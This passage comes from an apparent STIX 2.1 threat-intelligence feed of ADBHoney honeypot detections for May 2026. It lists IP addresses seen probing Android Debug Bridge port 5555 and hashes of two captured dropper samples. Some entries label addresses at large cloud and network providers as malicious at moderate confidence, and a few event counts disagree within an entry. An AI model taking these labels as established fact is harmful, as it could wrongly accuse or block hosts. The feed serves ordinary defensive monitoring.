          "asn": [
            "209334"
          ],
          "org": [
            "Modat B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=FR; asn=209334; asn_org=Modat B.V.; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-24T23:23:34.000Z | last_seen=2026-05-24T23:33:40.102Z | ports=5555 | cc=FR | asn=209334 | org=Modat B.V.",
      "id": "indicator--1ca63473-bdb6-459b-9cb8-440f8600bfd8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.217.140.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:00:02.000Z",
      "valid_until": "2026-06-26T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-24T23:23:34.000Z",
          "last_seen": "2026-05-24T23:33:40.102Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "209334"
          ],
          "org": [
            "Modat B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T00:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/beb1218e97ea179b7e727362bcc4306f40cce2457342c8804c7312cb760ade81.raw; last_seen=2026-05-24T23:46:52.150Z",
      "id": "indicator--09d50a17-60cc-4319-a800-3e2657bb4394",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'beb1218e97ea179b7e727362bcc4306f40cce2457342c8804c7312cb760ade81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T01:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-25T00:09:57.000Z | last_seen=2026-05-25T00:20:11.485Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--5176f7f2-2e68-4c83-9829-7f129dd0f661",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '188.166.212.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:00:04.000Z",
      "valid_until": "2026-06-26T01:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-25T00:09:57.000Z",
          "last_seen": "2026-05-25T00:20:11.485Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T01:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=NL; asn=205759; asn_org=Ghosty Networks LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-25T00:08:56.000Z | last_seen=2026-05-25T00:10:03.834Z | ports=5555 | cc=NL | asn=205759 | org=Ghosty Networks LLC",
      "id": "indicator--3b6bf814-3104-498b-95f8-311a3b126e1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '46.151.182.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T01:00:04.000Z",
      "valid_until": "2026-06-26T01:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-25T00:08:56.000Z",
          "last_seen": "2026-05-25T00:10:03.834Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "205759"
          ],
          "org": [
            "Ghosty Networks LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=BG; asn=213438; asn_org=ColocaTel Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-25T01:56:06.000Z | last_seen=2026-05-25T01:57:15.523Z | ports=5555 | cc=BG | asn=213438 | org=ColocaTel Inc.",
      "id": "indicator--85d9fff4-e836-4ce8-9bc5-4b159b6f7d77",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.11.167.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T02:00:02.000Z",
      "valid_until": "2026-06-26T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-25T01:56:06.000Z",
          "last_seen": "2026-05-25T01:57:15.523Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "213438"
          ],
          "org": [
            "ColocaTel Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T04:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=23 | first_seen=2026-05-25T03:13:55.000Z | last_seen=2026-05-25T03:25:27.631Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--54b5358f-cffa-45d8-97ad-c3aa442d48cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T04:00:05.000Z",
      "valid_until": "2026-06-26T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 23,
          "first_seen": "2026-05-25T03:13:55.000Z",
          "last_seen": "2026-05-25T03:25:27.631Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=20; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=39 | first_seen=2026-05-25T04:00:55.000Z | last_seen=2026-05-26T09:52:55.092Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--197c9c5b-d930-4da0-988a-15227a6d883e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T05:00:03.000Z",
      "valid_until": "2026-06-26T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 39,
          "first_seen": "2026-05-25T04:00:55.000Z",
          "last_seen": "2026-05-26T09:52:55.092Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T06:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=PT; asn=21859; asn_org=Zenlayer Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-25T05:57:31.000Z | last_seen=2026-05-25T05:58:41.248Z | ports=5555 | cc=PT | asn=21859 | org=Zenlayer Inc",
      "id": "indicator--fc2f2fac-8702-4474-a6ba-c5d76b71a7ff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '109.105.211.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T06:00:04.000Z",
      "valid_until": "2026-06-26T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-25T05:57:31.000Z",
          "last_seen": "2026-05-25T05:58:41.248Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "21859"
          ],
          "org": [
            "Zenlayer Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T07:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-25T06:07:44.000Z | last_seen=2026-05-25T06:17:54.804Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--67d229f0-0bc1-43c4-95a7-ff0be8b306b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T07:00:08.000Z",
      "valid_until": "2026-06-26T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-25T06:07:44.000Z",
          "last_seen": "2026-05-25T06:17:54.804Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T07:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-25T06:06:20.000Z | last_seen=2026-05-25T06:07:24.821Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a328e2e7-20f2-461b-8206-fb32c59742a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T07:00:08.000Z",
      "valid_until": "2026-06-26T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-25T06:06:20.000Z",
          "last_seen": "2026-05-25T06:07:24.821Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-25T13:47:06.000Z | last_seen=2026-05-25T13:48:11.367Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--8465210f-5f2b-4bbf-ab5e-3096b0807417",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.135.194.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T14:00:02.000Z",
      "valid_until": "2026-06-26T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-25T13:47:06.000Z",
          "last_seen": "2026-05-25T13:48:11.367Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T14:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/dd5ac6f4a7b1b6ce4d10dcec2527dbaf499355e5034a0963a9a3eef59c913820.raw; last_seen=2026-05-25T13:51:02.260Z",
      "id": "indicator--78b88020-a5ce-4119-903d-5b71e2cc04e5",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'dd5ac6f4a7b1b6ce4d10dcec2527dbaf499355e5034a0963a9a3eef59c913820']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T16:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-25T15:56:57.000Z | last_seen=2026-05-25T15:58:05.638Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--5198e179-ddaf-493a-948d-efd7fa3c347f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.79.153.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T16:00:07.000Z",
      "valid_until": "2026-06-26T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-25T15:56:57.000Z",
          "last_seen": "2026-05-25T15:58:05.638Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=NL; asn=43350; asn_org=NForce Entertainment B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-25T16:04:52.000Z | last_seen=2026-05-25T16:05:58.452Z | ports=5555 | cc=NL | asn=43350 | org=NForce Entertainment B.V.",
      "id": "indicator--0db33d08-8a58-43ca-a2b0-03ca9b274344",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '46.161.27.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T17:00:02.000Z",
      "valid_until": "2026-06-26T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-25T16:04:52.000Z",
          "last_seen": "2026-05-25T16:05:58.452Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "43350"
          ],
          "org": [
            "NForce Entertainment B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=27 | first_seen=2026-05-25T17:36:56.000Z | last_seen=2026-05-29T11:56:59.050Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--02b7aca1-2788-43f1-9043-8892a65909fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T18:00:02.000Z",
      "valid_until": "2026-06-26T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 27,
          "first_seen": "2026-05-25T17:36:56.000Z",
          "last_seen": "2026-05-29T11:56:59.050Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=TW; asn=9416; asn_org=Hoshin Multimedia Center Inc.; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=11 | first_seen=2026-05-25T17:21:49.000Z | last_seen=2026-05-25T17:32:06.044Z | ports=5555 | cc=TW | asn=9416 | org=Hoshin Multimedia Center Inc.",
      "id": "indicator--4d970726-3783-442b-b42d-11e147d80c68",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '61.70.80.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T18:00:02.000Z",
      "valid_until": "2026-06-26T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 11,
          "first_seen": "2026-05-25T17:21:49.000Z",
          "last_seen": "2026-05-25T17:32:06.044Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TW"
          ],
          "asn": [
            "9416"
          ],
          "org": [
            "Hoshin Multimedia Center Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-25T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=23 | first_seen=2026-05-25T18:36:18.000Z | last_seen=2026-05-25T18:47:48.530Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--2110516c-64b8-4e81-b6e3-41f1b6d10856",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T19:00:02.000Z",
      "valid_until": "2026-06-26T19:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
